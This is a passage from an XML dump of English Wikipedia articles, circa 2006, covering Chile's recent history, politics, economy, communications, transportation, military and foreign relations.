[[2000]]: In the second round of voting, in a tight contest with [[right wing]] candidate [[Joaquín Lavín]], [[Ricardo Lagos Escobar]] is elected President.

[[2004]]: The Chilean Supreme Court declares that Pinochet is mentally competent to stand trial. 

[[2005]]: The Pinochet trial continues. The presidential election of [[December 11]] puts [[Michelle Bachelet]] and [[Sebastián Piñera]] into a second round.

[[2006]]: In the second round of the presidential election the socialist leader Michelle Bachelet emergers the winner.

==See also==
*[[War of the Pacific]]
*[[José de San Martín]]

==Articles about Allende/Pinochet coup d'état in Chile==
*[[Salvador Allende]]: deposed by 1973 coup
*[[Augusto Pinochet]]: took power in 1973 coup
*[[Chilean coup of 1973]]: about the 1973 coup itself 
*[[U.S. intervention in Chile]]
*[[1970 Chilean presidential election]]

==External links==
* [http://www.state.gov/r/pa/ei/bgn/1981.htm U.S. State Department Background Note: Chile]

==References==
Some of this material was drawn from [[:es:Cronología de Chile|Cronología de Chile]] in the Spanish-language Wikipedia.
*http://www.nationbynation.com/Chile/History2.html is moderately useful to validate some of the information in this article, but the site has annoyingly many ads. &lt;!--This was an after-the-fact reference in any case; if someone can come up with a better link to replace this, great. -- [[User:Jmabel|Jmabel]] | [[User talk:Jmabel|Talk]] 23:28, Jan 6, 2005 (UTC) --&gt;

{{South America in topic|History of}}

[[Category:History of Chile| ]]

[[be:Гісторыя Чылі]]
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  <page>
    <title>Chile/Geography</title>
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    <title>Chile/People</title>
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      <text xml:space="preserve">#REDIRECT [[Demographics of Chile]]</text>
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  </page>
  <page>
    <title>Politics of Chile</title>
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      <text xml:space="preserve">{{Politics of Chile}}
'''Politics of Chile''' takes place in a framework of a [[presidential system|presidential]] [[representative democracy|representative democratic]] [[republic]], whereby the [[President of Chile]] is both [[head of state]] and [[head of government]], and of a pluriform multi-party system. [[Executive power]] is exercised by the government. [[Legislative power]] is vested in both the [[government]] and the two chambers of the [[National Congress of Chile|National Congress]]. The [[Judiciary]] is independent of the executive and the legislature.

==Executive branch==
Chile elects its [[President of Chile|President]] by popular vote for a four-year term{{fn|1}}. The President appoints the cabinet.

[[Michelle Bachelet]] won 53.5% of the vote in a run-off election on [[15 January]] [[2006]] and is the current President-elect.  Bachelet is head of [[Chile|Chile's]] [[Socialist]] party (part of the [[Coalition of Parties for Democracy]]) and, under the current administration, served as Defense Minister since 2002, and previously as Health Minister.

Current President [[Ricardo Lagos|Ricardo Lagos Escobar]] had held this office since [[11 March]] [[2000]].

==Legislative branch==
The bicameral [[National Congress of Chile|National Congress]] ''(Congreso Nacional)'' consists of the [[Senate of Chile|Senate]] ''(Senado)'' and the [[Chamber of Deputies of Chile|Chamber of Deputies]] ''(Cámara de Diputados).''

Chile's congressional elections are governed by a unique binomial system that rewards coalition slates. Each coalition can present two candidates for the two Senate and two lower-chamber seats apportioned to each chamber's electoral districts. Typically, the two largest coalitions split the seats in a district. Only if the leading coalition ticket outpolls the second-place coalition by a margin of more than 2-to-1 does the winning coalition gain both seats. The political parties with the largest representation in the current Chilean Congress are the centrist [[Christian_Democratic_Party_of_Chile|Christian Democrat Party]] and the conservative [[Independent Democratic Union]] ''(Unión Demócrata Independiente)''. The [[Communist Party of Chile|Communist Party]] and the small [[Humanist Party of Chile|Humanist Party]] failed to gain any seats in the 1997 elections.

Elections are very labor intensive but efficient, and vote counting normally takes place the evening of the election day. One voting table, with a ballot-box each, is set up for at-most 200 names in the voting registry. Each table is manned by five people (''vocales de mesa'') from the same registry. Vocales have the duty to work as such during a cycle of elections, and can be penalized legally if they do not show up. A registered citizen can only vote after his identity has been verified at the table corresponding to his registry. Ballots are manually counted by the five vocales, after the table has closed, at least eight hours after opening, and the counting witnessed by representatives of all the parties who choose to have observers.  

The Senate is made up of 48 members. 38 of these are elected from regions or subregions.  Those elected members serve eight-year staggered terms.

Nine senators are appointed {{fn|2}}:

*two former members of the Supreme Court, chosen by their working peers.

*one ex-contralor (head of the Contraloría General de la Republica, the institution that audits the legality of all the actions of the administration), also selected by the Supreme Court.

*one former Commander in Chief of the Army, one former Commander of the Navy, one former Commander of the Air Force and one former Director General of the Carabineros, all selected by the National Security Council.

*one former president of an accredited University, designated by the President of the Republic.

*one former Minister of State (head of a ministry or cabinet secretary), also designated by the President of the Republic.

Appointed Senators also have eight-year terms.

Former Presidents who have served at least six years can join the Senate, becoming ''senadores vitalicios'', senators for life. General [[Augusto Pinochet]] was senator for life, but resigned because of his age. 

The Chamber of Deputies has 120 members, who are elected by popular vote to serve four-year terms. The last congressional elections were held in [[October 2001]]. The next congressional elections are scheduled for 2006.

The current Senate composition is nineteen from the governing coalition, eighteen from the opposition, one independent (who was part of one of the governing parties, but resigned), nine appointed and one for life. In March 1998, nine newly appointed institutional senators appointed in 1999, and one &quot;senator for life,&quot; former President [[Eduardo Frei Ruiz-Tagle|Frei]]. 

The current lower house &amp;mdash; the Chamber of Deputies  &amp;mdash; contains 58 members of the governing coalition and 53 from the rightist opposition and eight &quot;independents&quot; (many of whom ran on opposition tickets in the last elections or others who where expelled from the Christian Democrats  because they where accused of frauds).

Since 1987 the Congress operates in the port city of [[Valparaíso]], about 110 kilometers (~70 mi.) northwest of the capital, [[Santiago de Chile|Santiago]]. However some commissions are allowed to meet in other places, especially Santiago. Congressional members have tried repeatedly to relocate the Congress back to Santiago, where it operated until the [[Chilean coup of 1973|1973]], but have not been successful. The last attempt was in 2000, when the project was rejected by the Constitutional Court, because it allocated funds from the national budget, which, under the Chilean Constitution, is a privilege of the President.

==Legal system==
Chile's judiciary is independent and includes a court of appeal, a system of military courts, a constitutional tribunal, and the [[Supreme Court of Chile|Supreme Court]]. The judges on the Supreme Court or Corte Suprema are appointed by the president and ratified by the Senate from lists of candidates provided by the court itself. The president of the Supreme Court is elected by the 21-member court.

Chile's legal system is [[Civil law (legal system)|civil law]] based. It is primarily based on the [[Civil code]] of 1855, derived from Spanish law and subsequent codes influenced by European law of the last half of the [[19th Century]] . Chile provides for a very limited judicial review of legislative acts in the Supreme Court. It does not accept compulsory ICJ jurisdiction.

From the year 2000 onward, Chile completely overhauled its criminal justice system; a new, US-style adversarial system has been gradually implemented throughout the country with the final stage of implementation in the Santiago metropolitan region completed on June 17th, 2005.

==Political parties and elections==
{{elect|List of political parties in Chile|Elections in Chile}}
{{chilean presidential election, 2005}}
{{Main|Chilean presidential election, 2005}}
{{chilean parliamentary election, 2005}}
{{Main|Chilean parliamentary election, 2005}}

==Pressure groups==
* Student federations at all major universities
* [[Roman Catholic Church]]
* [[United Labor Central]] (CUT), trade unionists from Chile's five largest labor confederations.

==Notes==
{{fnb|1}} The current president, [[Ricardo Lagos]]. is serving a six-year term, but in [[September 17]] [[2005]] the Constitution was modified and the future presidents will serve just a four-year term.

{{fnb|2}} From [[March 11]] [[2006]] when the new parliamentary term is due to begin, there will be no more appointed senators or former presidents serving as senators for life.

==International organization participation==
Chile or Chilean organizations participate in the following international organizations:

&lt;table width=100%&gt;&lt;tr&gt;&lt;td width=50% align=left valign=top&gt;
* [[Agency for the Prohibition of Nuclear Weapons in Latin America and the Caribbean]] (OPANAL)
* [[Asia-Pacific Economic Cooperation]] (APEC)
* [[Bank for International Settlements]] (BIS)
* [[Food and Agriculture Organization]] (FAO)
* Group of Fifteen (G-15)
* [[Group of 77]] (G-77)
* [[Inter-American Development Bank]] (IDB)
* [[International Atomic Energy Agency]] (IAEA)
* International Bank for Reconstruction and Development ([[World Bank]])
* [[International Civil Aviation Organization]] (ICAO)
* [[International Criminal Court]] (party since [[2005]])
* [[International Chamber of Commerce]]
* [[International Confederation of Free Trade Unions]] (ICFTU)
* [[International Development Association]] (IDA)
* [[International Fund for Agricultural Development]] (IFAD)
* [[International Finance Corporation]] (IFC)
* [[International Federation of Red Cross and Red Crescent Societies]] (IFRCS)
* [[International Hydrographic Organization]] (IHO)
* [[International Labour Organization]] (ILO)
* [[International Monetary Fund]] (IMF)
* [[International Maritime Organization]] (IMO)
* [[Interpol]]
* [[International Olympic Committee]] (IOC)
* [[International Organization for Migration]] (IOM)
* [[International Organization for Standardization]] (ISO)

&lt;/td&gt;&lt;td width=50% align=left valign=top&gt;
* [[International Red Cross and Red Crescent Movement|International Red Cross]]
* [[International Telecommunication Union]] (ITU)
* [[Latin American Economic System]] (LAES)
* [[Latin American Integration Association]] (LAIA)
* [[Mercosur]] (associate)
* [[Nonaligned Movement]] (NAM)
* [[Organization of American States]] (OAS)
* [[Organization for the Prohibition of Chemical Weapons]] (OPCW)
* [[Permanent Court of Arbitration]] (PCA)
* [[Rio Group]]
* [[United Nations]] (UN)
** [[United Nations Conference on Trade and Development|UN Conference on Trade &amp; Development]] (UNCTAD)
** [[United Nations Educational, Scientific, and Cultural Organization|UN Educational, Scientific, &amp; Cultural Organization]] (UNESCO)
** [[United Nations High Commissioner for Human Rights|UN High Commissioner for Human Rights]] (UNHCR)
** [[United Nations Industrial Development Organization|UN Industrial Development Organization]] (UNIDO)
** [[United Nations Military Observer Group in India and Pakistan|UN Military Observer Group in India and Pakistan]] (UNMOGIP)
** [[United Nations Mission in the Democratic Republic of the Congo|UN Mission in the Democratic Republic of the Congo]] (MONUC)
** [[United Nations Truce Supervision Organization|UN Truce Supervision Organization]] (UNTSO)
* [[Universal Postal Union]] (UPU)
* [[World Confederation of Labor]] (WCL)
* [[World Customs Organization]] (WCO)
* [[World Federation of Trade Unions]] (WFTU)
* [[World Health Organization]] (WHO)
* [[World Intellectual Property Organization]] (WIPO)
* [[World Meteorological Organization]] (WMO)
* [[World Tourism Organization]] (WToO)
* [[World Trade Organization]] (WTO)
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;

==External links==
''All sites are in Spanish.''
*[http://www.gobiernodechile.cl/ Government of Chile] (English translation available)
*[http://www.congreso.cl/ National Congress]
*[http://www.presidencia.cl/ Presidency]
*[http://www.poderjudicial.cl/ Judicial Branch]

{{South America in topic|Politics of}}

{{OAS}}

[[Category:Politics of Chile]]

[[de:Politisches System Chiles]]
[[es:Política de Chile]]
[[fr:Politique du Chili]]
[[pt:Política do Chile]]</text>
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  </page>
  <page>
    <title>Economy of Chile</title>
    <id>5494</id>
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      <id>41594333</id>
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      <contributor>
        <username>Dismas</username>
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      </contributor>
      <minor />
      <comment>US -&gt; U.S. per MoS</comment>
      <text xml:space="preserve">==Overview==

[[Chile]] has a market-oriented economy characterized by a high level of foreign trade. During the early [[1990s]], Chile's reputation as a role model for [[economic reform]] was strengthened when the democratic government of [[Patricio Aylwin]] - which took over from the military in [[1990]] - deepened the economic reform initiated by the military government. Growth in real [[Gross domestic product|GDP]] averaged 8% during the period 1991-1997, but fell to half that level in 1998 because of tight monetary policies implemented to keep the [[current account deficit]] in check and lower export earnings - the latter a product of the global financial crisis.

After a decade of highly impressive growth rates, Chile experienced a moderate [[recession]] in [[1999]] brought on by the global economic slowdown and exacerbated by a severe [[drought]] reducing crop yields and causing [[hydroelectricity|hydroelectric]] shortfalls and rationing. Chile experienced negative economic growth for the first time in more than 15 years. Despite the effects of the recession, Chile maintained its reputation for strong financial institutions and sound policy that have given it the strongest sovereign bond rating in South America. After averaging real GDP growth rates of around 7% in the 1990s, the economy grew 3.4% in 1998 and contracted 1.1% in 1999. By the end of 1999, exports and economic activity had begun to recover. The economy has recovered in 2000, with Asian markets rebounding and [[copper]] prices edging up. GDP growth for 2001 is expected in the 5%-6% range. The inauguration of [[Ricardo Lagos]] in March 2000, succeeding [[Eduardo Frei Ruiz-Tagle|Eduardo Frei]], will keep the presidency in the hands of the center-left Concertacion coalition that has held office since the return of civilian rule in 1990.

The government's limited role in the economy, Chile's openness to international trade and investment, and the high domestic savings and investment rates that propelled Chile's economy to average growth rates of 8% during the decade before the recession are still in place. The 1973-90 military government sold many state-owned companies, and the three democratic governments since 1990 have continued privatization at a slower pace. Policy measures such as the [[privatization]] of the national pension system encourage domestic investment, contributing to an estimated total domestic savings rate of approximately 22% of GDP in [[2000]].

Unemployment peaked well above Chile's traditional 4%-6% range during the recession and is stubbornly remaining in the 8%-10% range well into the economic recovery. Despite recent labour troubles, wages have on average risen faster than inflation over the last several years as a result of higher productivity, boosting national living standards. The share of Chileans with incomes below the [[poverty line]]--roughly $4,000/year for a family of four--fell from 46% of the population in 1987 to 18% in 2003.

Maintaining a moderate [[inflation]] level is a foremost Central Bank objective. In 1996, December-to-December inflation stood at 8.2%, falling to 6.1% in 1997 and to 4.7% in 1998. The rate fell to only 2.3% during the 1999 recession. Most wage settlements and spending decisions are indexed, reducing inflation volatility (See [[Unidad de Fomento]]). The rate for 2000 was 4.75%. The establishment of a compulsory [[private sector]] pension system in [[1981]] was an important step toward increasing domestic savings and the pool of investment capital. Under this system, most regular workers pay 10% of their salaries into privately managed funds. This large capital pool has been supplemented by substantial foreign investment.

Total public and private investment in the Chilean economy has remained high despite current economic difficulties. The government recognizes the necessity of private investment to boost worker productivity. The government also is encouraging diversification, including such non-traditional exports as fruit, wine, and fish to reduce the relative importance of basic traditional exports such as copper, timber, and other natural resources.

Chile's welcoming attitude toward [[foreign direct investment]] is codified in the country's Foreign Investment Law, which gives foreign investors the same treatment as Chileans. Registration is simple and transparent, and foreign investors are guaranteed access to the official foreign exchange market to repatriate their profits and capital. The Central Bank decided in May 1999 on the removal of the 1-year residency requirement on foreign capital entering Chile under Central Bank regulations, generally for portfolio investments. A modest capital control mechanism known as the &quot;Encaje,&quot; which requires international investors to place a percentage of portfolio investment in non-interest-bearing accounts for up to 2 years, has been effectively suspended through reduction to zero of the applicable percentage; the mechanism could be resurrected depending on economic circumstances.

Total foreign direct investment flows in 2000 contracted to $3.6 [[billion]] (3.6 G$), down from $9.2 billion in 1999, and $4.6 billion in 1998. The 2000 figure is about 13% of GDP. In 2000, Chile experienced an outflow of $1.4 billion, largely the result of diminished inward foreign investment and--for a second year running--elevated levels of Chilean direct investment abroad ($4.8 billion).

==Foreign Trade==

Chile's economy is highly dependent on international trade. In [[1999]], exports increased to $18.3 billion from $15.6 billion in 1999, and imports increased to $16.9 billion from $14 billion the previous year. Exports accounted for about 25% of GDP. Chile has traditionally been dependent upon copper exports; the state-owned firm [[CODELCO]] is the world's second-largest copper-producing company. Foreign private investment has developed many new mines, and the private sector now produces more copper than [[CODELCO]]. Copper output continued to increase in 2000. Non-traditional exports have grown faster than those of copper and other minerals. In [[1975]], non-mineral exports made up just over 30% of total exports, whereas now they account for about 60%. The most important non-mineral exports are forestry and wood products, fresh fruit and processed food, fishmeal and [[seafood]], and other manufactured products.

Chile's export markets are fairly balanced among [[Europe]], [[Asia]], [[Latin America]], and [[North America]]. The [[United States|U.S.]], the largest-single market, takes in 17% of Chile's exports. Latin America has been the fastest-growing export market in recent years. The government actively seeks to promote Chile's exports globally. Since 1991, Chile has signed several bilateral free trade agreements, including [[Canada]], [[Mexico]], [[South Korea]], [[United States|USA]],the [[People's Republic of China]], the [[Central American Common Market|CACM]] nations ([[Costa Rica]], [[El Salvador]], [[Honduras]], [[Guatemala]], [[Nicaragua]]), the [[EFTA]] and the [[European Union]] and has recently entered into the [[Trans-Pacific Strategic Economic Partnership]] which is a multilateral free trade agreement with [[New Zealand]], [[Singapore]] and [[Brunei]]. This means that Chile has free-trade access to over half of the world's [[Gross domestic product|GDP]]. Chile intends to negotiate further agreements with countries such as [[India]] and [[Japan]]. Also, Chile is member (in different degrees) of many international economical instances, like [[APEC]], [[World Trade Organization|WTO]], [[Mercosur]]. Such diversity of relations prevents the Chilean economy from being exclusively dependent of any major partner and thus provides stability.

After growing for several years, imports were down in 1998 and 1999, reflecting reduced consumer demand and deferred investment. Imports have rebounded in 2000 and are up 19% over 1999; capital goods make up about 22% of total imports. The United States is Chile's largest-single supplier, supplying 18.5% of the country's imports in 2000, down from 21% in 1999. Chile unilaterally is lowering its across-the-board import tariff--for all countries with which it does not have a trade agreement--by a percentage point each year until it reaches 6% in 2003. Higher effective tariffs are charged only on imports of wheat, wheat flour, vegetable oils, and sugar as a result of a system of import price bands.

==Finance==

Chile's financial sector has grown faster than other areas of the economy over the last few years; a banking law reform approved in 1997 broadened the scope of permissible foreign activity for Chilean banks. Domestically, Chileans have enjoyed the recent introduction of new financial tools such as home equity loans, currency futures and options, factoring, leasing, and debit cards.

The introduction of these new products has been accompanied by increased use of traditional instruments such as loans and credit cards. Chile's private pension system, with assets worth roughly $36 billion at the end of September 2000, has provided an important source of investment capital for the stock market. Chile has maintained one of the best credit ratings in Latin America despite the 1999 economic slump. In recent years, many Chilean companies have sought to raise capital abroad due to the relatively lower interest rates outside of Chile. There are three main ways Chilean firms raise funds abroad: bank loans, issuance of bonds, and the selling of stock on U.S. markets through [[American Depository Receipt]]s (ADRs). Nearly all of the funds raised go to finance investment. The government is rapidly paying down its foreign debt. The combined public and private foreign debt was roughly 50% of GDP at the end of 2000, low by Latin American standards.

==Figures==

'''GDP:'''
purchasing power parity - $182.512 billion (2004)

'''GDP - real growth rate:'''
5.8% (2004 est.)

'''GDP - per capita:'''
purchasing power parity - $11,500 (2004)

'''GDP - composition by sector:'''
''agriculture:''
6.3%
''industry:''
38.2%
''services:''
55.5% (2004)

'''Population below poverty line:'''
18.8% (2003 est.)

'''Household income or consumption by percentage share:'''
''lowest 10%:''
1.2%
''highest 10%:''
47% (2000)

'''Distribution of family income - Gini index:'''
57.1 (2000)

'''Inflation rate (consumer prices):'''
2.4% (2004 est.)

'''Labour force:'''
6.2 million (2004 est.)

'''Labour force - by occupation:'''
agriculture 13.6%, industry 23.4%, services 63% (2003 est.)

'''Unemployment rate:'''
8.5% (2004)

'''Budget:'''
''revenues:''
$21.53 billion
''expenditures:''
$19.95 billion, including capital expenditures of $3.33 billion (2004 est.)

'''Industries:'''
copper, other minerals, foodstuffs, fish processing, iron and steel, wood and wood products, transport equipment, cement, textiles

'''Industrial production growth rate:'''
7.8% (2004 est.)

'''Electricity:'''
* ''production:'' 48.6 [[TWh]] (2004)
* ''consumption:'' 41.8 TWh (2002)
* ''exports:'' 0 TWh (2002)
* ''imports:'' 1.813 TWh (2002)

'''Electricity - production by source:'''
* ''fossil fuel:'' 47%
* ''hydro:'' 51.5%
* ''other:'' 1.4% (2001)
* ''nuclear:'' 0%

'''Oil:'''
* ''production:'' 18,500 barrel/day (2003 est.)
* ''consumption:'' 240,000 barrel/day (2003 est.)
* ''exports:'' 0 barrel/day (2003)
* ''imports:'' 221,500 barrel/day (2003 est.) 
* ''proved reserves:'' 150 million barrel ([[1 January]] [[2004]])

'''Natural gas:'''
* ''production:'' 1.18 billion m&amp;sup3; (2002 est.)
* ''consumption:'' 6.517 billion m&amp;sup3; (2002 est.)
* ''exports:'' 0 m&amp;sup3; (2002)
* ''imports:'' 5.337 billion m&amp;sup3; (2002 est.)
* ''proved reserves:'' 99.05 billion m&amp;sup3; ([[1 January]] [[2004]])

'''Agriculture - products:'''
wheat, corn, grapes, beans, sugar beets, potatoes, fruit; beef, poultry, wool; fish; timber

'''Exports:'''
$29.2 billion f.o.b. (2004 est.)

'''Exports - commodities:'''
copper, fish, fruits, paper and pulp, chemicals

'''Exports - partners:'''
[[United States|U.S.]] 14%, [[Japan]] 11.4%, [[China]] 9.9%, [[South Korea]] 5.5%, [[Netherlands]] 5.1%, [[Brazil]] 4.3%, [[Italy]] 4.1%, [[Mexico]] 4% (2004)

'''Imports:'''
$22.53 billion f.o.b. (2004)

'''Imports - commodities:'''
consumer goods, chemicals, motor vehicles, fuels, electrical machinery, heavy industrial machinery, food

'''Imports - partners:'''
[[Argentina]] 17%, [[United States|U.S.]] 14.1%, [[Brazil]] 11.1%, [[China]] 7.1% (2004)

'''Debt - external:'''
$43.3 billion (2004)

'''Economic aid - recipient:'''
ODA, $0 million (2002 est.)

'''Currency:'''
Chilean peso (CLP)

'''Currency code:'''
CLP

'''Exchange rates:'''
Chilean pesos per U.S. dollar - 609.37 (2004), 691.43 (2003), 688.94 (2002), 634.94 (2001), 539.59 (2000)

'''Fiscal year:'''
calendar year

==See also==

* [[Chile]]
* [[Miracle of Chile]]
* [[Economy of South America]]

{{APEC}}
{{SACN}}
{{WTO}}

{{South America in topic|Economy of}}

[[Category:Economy of Chile| ]]
[[Category:WTO members|Chile]]

[[ca:Economia de Xile]]
[[es:Economía de Chile]]
[[fr:Économie du Chili]]
[[pt:Economia do Chile]]
[[ru:Экономика Чили]]</text>
    </revision>
  </page>
  <page>
    <title>Communications in Chile</title>
    <id>5495</id>
    <revision>
      <id>40447705</id>
      <timestamp>2006-02-20T16:54:14Z</timestamp>
      <contributor>
        <username>Warofdreams</username>
        <id>20855</id>
      </contributor>
      <comment>{{CIA}}, {{South America in topic|Communications in}}</comment>
      <text xml:space="preserve">{{CIA}}

'''[[Telephone]]s - main lines in use:'''
3,650,000 (2001)

'''Telephones - mobile cellular:'''
10,900,000 (2005)

'''Telephone system:'''
modern system based on extensive [[microwave]] [[radio]] relay facilities
&lt;br&gt;''domestic:''
extensive [[microwave]] [[radio]] relay links; domestic [[satellite]] system with 3 earth stations
&lt;br&gt;''international:''
[[satellite]] earth stations - 2 [[Intelsat]] ([[Atlantic Ocean]])

'''Radio broadcast stations:'''
[[AM radio|AM]] 180 (eight inactive), [[FM]] 64, [[shortwave]] 17 (one inactive) (1998)

'''Radios:'''
5.18 million (1997)

'''[[Television]] broadcast stations:'''
63 (plus 121 repeaters) (1997)

'''Televisions:'''
3.15 million (1997)

'''Television System:'''
NTSC

 Mail TV Channel: http://www.canal13.cl

 http://www.tvn.cl

'''[[Internet Service Provider]]s (ISPs):'''
7 (2000)

'''Internet users:'''
5.6 million (2005)

'''[[Country code]]:''' CL

'''Voltage:'''
220 volts AC, 50 Hz
:''See also :'' [[Chile]]

{{South America in topic|Communications in}}

[[Category:Communications in Chile| ]]
[[Category:Communications by country|Chile]]</text>
    </revision>
  </page>
  <page>
    <title>Transportation in Chile</title>
    <id>5496</id>
    <revision>
      <id>40449236</id>
      <timestamp>2006-02-20T17:08:16Z</timestamp>
      <contributor>
        <username>Warofdreams</username>
        <id>20855</id>
      </contributor>
      <comment>/* See also */ {{South America in topic|Transportation in}}</comment>
      <text xml:space="preserve">'''Railways:'''
&lt;br&gt;''total:''
6,782 km
&lt;br&gt;''broad gauge:''
3,743 km 1.676-m gauge (1,653 km electrified)
&lt;br&gt;''narrow gauge:''
116 km 1.067-m gauge; 2,923 km 1.000-m gauge (40 km electrified) (1995)

== Rail links to other countries ==

{{Sectstub}}

* [[Bolivia]] - ??
* [[Argentina]] - [[IRJ]] of March 2005 reports construction started to build/restore (?) [[Trans-Andean Railways|South Trans-Andean Railway]] link between [[Zapala]], Argentina and [[Longuimay]], Chile. Possible [[break-of-gauge]].
* [[Peru]] - ??



City with [[metro]] system: [[Santiago de Chile|Santiago]] ([http://www.metrosantiago.cl/ Metro de Santiago])

== Highways ==
&lt;br&gt;''total:''
79,800 km
&lt;br&gt;''paved:''
11,012 km
&lt;br&gt;''unpaved:''
68,788 km (1996 est.)

== Freeways ==
2,653 km

== Waterways ==
725 km

== Pipelines ==
crude oil 755 km; petroleum products 785 km; natural gas 320 km

== Ports and harbors ==
[[Antofagasta]], [[Arica]], [[Chañaral]], [[Coquimbo]], [[Iquique]], [[Puerto Montt]], [[Punta Arenas]], [[San Antonio]], [[San Vicente]], [[Talcahuano]], [[Valparaíso]]

== Merchant marine ==
&lt;br&gt;''total:''
45 ships (1,000 GRT or over) totaling 580,749 GRT/860,034 DWT
&lt;br&gt;''ships by type:''
bulk 11, cargo 9, chemical tanker 8, container 2, liquified gas 2, passenger 3, petroleum tanker 4, roll-on/roll-off 4, vehicle carrier 2 (1999 est.)

== [[Airport]]s ==
370 (1999 est.)

=== Airports - with paved runways ===
&lt;br&gt;''total:''
62
&lt;br&gt;''over 3,047 m:''
6
&lt;br&gt;''2,438 to 3,047 m:''
6
&lt;br&gt;''1,524 to 2,437 m:''
20
&lt;br&gt;''914 to 1,523 m:''
20
&lt;br&gt;''under 914 m:''
10 (1999 est.)

[[Arturo Merino Benitez International Airport]], located in [[Santiago de Chile|Santiago]], is Chile's largest aviation facility.

=== Airports - with unpaved runways ===
&lt;br&gt;''total:''
308
&lt;br&gt;''over 3,047 m:''
1
&lt;br&gt;''2,438 to 3,047 m:''
4
&lt;br&gt;''1,524 to 2,437 m:''
12
&lt;br&gt;''914 to 1,523 m:''
68
&lt;br&gt;''under 914 m:''
223 (1999 est.)


'''National Airline:''' [[LAN (airline)|LAN Airlines]] (formerly LanChile)

== See also ==
* [[Chile]]

{{CIAfb}}

{{South America in topic|Transportation in}}

[[Category:Transportation in Chile| ]]</text>
    </revision>
  </page>
  <page>
    <title>Military of Chile</title>
    <id>5497</id>
    <revision>
      <id>41597012</id>
      <timestamp>2006-02-28T11:26:25Z</timestamp>
      <contributor>
        <username>Melromero</username>
        <id>122225</id>
      </contributor>
      <minor />
      <comment>/* External links */</comment>
      <text xml:space="preserve">'''[[Chile]]'s [[armed forces]]''' are subject to [[civilian control of the military|civilian control]] exercised by the president through the Minister of Defense. 

'''[[Military]] branches:'''
Army, Navy (includes Naval Air, Coast Guard, and Marines), Air Force, Carabineros of Chile (National Police), Investigations Police
&lt;br&gt;''note:''
normally administered by Ministry of Interior; in times of national emergency, Carabineros and Investigations Police are considered part of the military

'''Army.''' The Commander-in-Chief is Gen. Juan Emilio Cheyre. The 50,000-person army is organized into six divisions and an air brigade.

'''Navy.''' Adm. Rodolfo Codina Díaz directs the 25,000-person navy, including 5,200 marines. Of the fleet of 66 surface vessels, only six are major combatant ships and they are based in [[Valparaíso]]. The navy operates its own aircraft for transport and patrol; there are no fighter or bomber aircraft. The Navy also operates two submarines based in [[Talcahuano]].

The navy is to receive three second-hand, but modern, [[Royal Navy|British]] [[Type 23 frigate|Type 23]] [[frigate|frigates]] in 2008.

'''Air Force.''' Gen. Osvaldo Sarabia Vilches heads a force of 12,500. Air assets are distributed among five air brigades headquartered in [[Iquique]], [[Antofagasta]], [[Santiago,_Chile|Santiago]], [[Puerto Montt]], and [[Punta Arenas]]. The Air Force also operates an airbase on [[King George Island]], [[Antarctica]].

The Chilean police are comprised of a national, uniformed force (Carabineros) and a smaller, plainclothes investigations force. After the military [[coup]] in September [[1973]], the Chilean national police were incorporated into the Defense Ministry. With the return of democratic government, the police were placed under the operational control of the Interior Ministry but remain under the nominal control of the Defense Ministry. Gen. Alberto Cienfuegos, who directs the national police force of 30,000, is responsible for law enforcement, traffic management, narcotics suppression, border control, and counter-terrorism throughout Chile.

'''Military manpower - military age:'''
18 years of age

'''Military manpower - availability:'''
&lt;br&gt;''males age 18-49:''
3,815,761 (2005 est.)

'''Military manpower - fit for military service:'''
&lt;br&gt;''males age 18-49:''
3,123,281 (2005 est.)

'''Military manpower - reaching military age annually:'''
&lt;br&gt;''males:''
140,084 (2005 est.)

'''Military expenditures - dollar figure:'''
$3.42 billion (2004)

'''Military expenditures - percent of GDP:'''
3.8% (2004)
'' To put this number in perspective, this includes the expenditures of Carabineros and Investigaciones, the only police forces in the country''

== External links ==
*[http://www.ejercito.cl/ Ejército de Chile website]
*[http://www.armada.cl/ Armada de Chile website]
*[http://www.fach.cl/ Fuerza Aérea de Chile website]
*[http://www.carabinerosdechile.cl/ Carabineros de Chile website]

{{South America in topic|Military of}}

[[Category:Militaries|Chile]]
[[Category:Military of Chile]]
[[Category:Chilean generals| ]]</text>
    </revision>
  </page>
  <page>
    <title>Foreign relations of Chile</title>
    <id>5498</id>
    <revision>
      <id>42112311</id>
      <timestamp>2006-03-03T22:23:50Z</timestamp>
      <contributor>
        <ip>200.119.253.123</ip>
      </contributor>
      <text xml:space="preserve">{{Politics of Chile}}
Since its return to democracy in [[1990]], Chile has been an active participant in the international political arena. Chile assumed a 2-year non-permanent position on the [[UN Security Council]] in January [[2003]] and is an active member of the UN family of agencies, serving as a member of the [[Commission on Human Rights]] and participating in UN peacekeeping activities. Chile hosted the second [[Summit of the Americas]] in [[1998]], was the chair of the [[Rio Group]] in [[2001]], hosted the [[Defense Ministerial of the Americas]] in [[2002]], and the [[APEC]] summit and related meetings in [[2004]]. In [[2005]] hosted the [[Community of Democracies]] ministerial conference. An associate member of [[Mercosur]] and a full member of APEC, Chile and has been an important actor on international economic issues and hemispheric free trade.

The Chilean Government has diplomatic relations with most countries. It settled its territorial disputes with [[Argentina]] during the [[1990s]], although the border between both countries in the Southern Ice Field is still officially undefined. 

Chile and [[Bolivia]] have severed and resumed diplomatic relations various times throughout history. Most recently, Generals [[Augusto Pinochet|Pinochet]] and [[Hugo Banzer|Banzer]] resumed diplomatic relatins and attempted to settle territorial disputes. They met in the small, border town of Charaña and Pinochet agrreed to give Bolvia a small strip of land between the Chilean city of [[Arica]] and the Peruvian border. However, treaties between Peru and Chile specified that Chile must consult Peru before granting any land to a third party in the area of [[Tarapaca Region|Tarapacá]]. Peru's leftist ruler, [[Juan Velasco Alvarado|General Juan Velasco]], was, however, and ideological enemy of the rightists Pinochet and Banzer. Additionally the man who Pinochet deposed, [[Salvador Allende]], had been a close friend of Velasco. Therefore, Peru did not accept the Charaña proposal and instead drafted its own proposal, in which numerous land and sea areas would be shared between the three nations. Pinochet did not agree, and ties with Bolivia were once again severed on [[1978]]. The two countries maintain consular relations.

{{South America in topic|Foreign relations of}}

[[Category:Government of Chile]]
[[Category:Foreign relations by country|Chile]]</text>
    </revision>
  </page>
  <page>
    <title>Himno Nacional de Chile</title>
    <id>5499</id>
    <revision>
      <id>38914182</id>
      <timestamp>2006-02-09T13:43:22Z</timestamp>
      <contributor>
        <username>Jclerman</username>
        <id>442129</id>
      </contributor>
      <minor />
